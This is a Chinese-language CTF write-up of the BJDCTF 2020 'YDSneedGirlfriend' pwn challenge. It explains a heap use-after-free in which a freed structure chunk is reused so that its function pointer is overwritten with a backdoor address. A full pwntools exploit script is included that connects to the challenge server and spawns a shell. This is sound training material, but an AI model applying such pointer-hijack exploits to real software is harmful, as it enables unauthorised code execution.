0%

详解[[BJDCTF 2020]YDSneedGirlfriend]

2024-06-03 07:09By
kirlic
UAFPWNuaf

Problem: [BJDCTF 2020]YDSneedGirlfriend

[[toc]]

思路

  • 程序再创建一个girlfriend的时候会创建俩个chunk,一个是结构chunk,一个是内容chunk,结构chunk大小固定只储存俩个指针一个指向print_grilfriend_name函数一个指向它的内容chunk。
  • 同样它在删除的时候也会free掉这俩个chunk。如果大小相等会放进fastbin的同一个链表里,不同则分大小分开放,
  • 题目给了后门地址,然而程序的执行流在这里我们可以关注结构chunk中的print_girlfriend_name函数指针,在show函数功能中会调用这个函数区打印内容chunk里的数据。如果我们通过某种方式将指针改为后门地址,那么在show功能将调用后门函数来获取shell
  • 怎么去改呢,我们此时创建俩个girlfriend并且保障每一个内容chunk都比结构chunk的大小大,就可以达到free后俩个的结构chunk和内容chunk分开存放的目的(chunk的地址在girlfriendlist里,IDA去看)
    如下图所示
    NSSIMAGE
  • 然后我们再创建第三个girlfriend,并且大小和结构chunk一样,那么堆管理器不就会将第二个和第一个girlfriend的结构chunk分别作为第三个的结构chunk和内容chunk
  • 看起来感觉很乱,我们理一理,重点看第一个和第二个girlfriend的结构chunk在创建,删除,创建第三个这个整体过程中内存含义的变化。如下图
    NSSIMAGE
    由图可知,当创建第三个后再到主程序调用show功能输出下标为0(也就是第一个girlfriend),由于此时本该是第一个girlfriend的结构chunk的printgirlfriendname函数的指针已经变成指向后门函数了,于是成功获得shell

EXP

from LibcSearcher import* context(arch = 'amd64', os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h'] #io = process('./pwn') io = remote('node4.anna.nssctf.cn',28485) s = lambda content : io.send(content) sl = lambda content : io.sendline(content) sa = lambda content,send : io.sendafter(content, send) sla = lambda content,send : io.sendlineafter(content, send) rc = lambda number : io.recv(number) ru = lambda content : io.recvuntil(content) def slog(name, address): io.success(name+"==>"+hex(address)) def debug(): gdb.attach(io) def add(size,name): sla(":", '1') sla(" :", str(size)) sla(" :", name) def delete(index): sla(":", '2') sla(" :", str(index)) def show(index): sla(":", '3') sla(" :", str(index)) def take(index, content): sla(":\n", '4') sla("modify :", str(index)) sa("content\n", content) backdoor = 0x400baa add(0x10, 'hahhaa') add(0x20, 'cccccc') delete(0) delete(1) add(0x10, p64(backdoor)) show(0) io.interactive()

总结

  • use after free漏洞的简单利用
  • 判断内存地址在不同时刻代表的含义
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论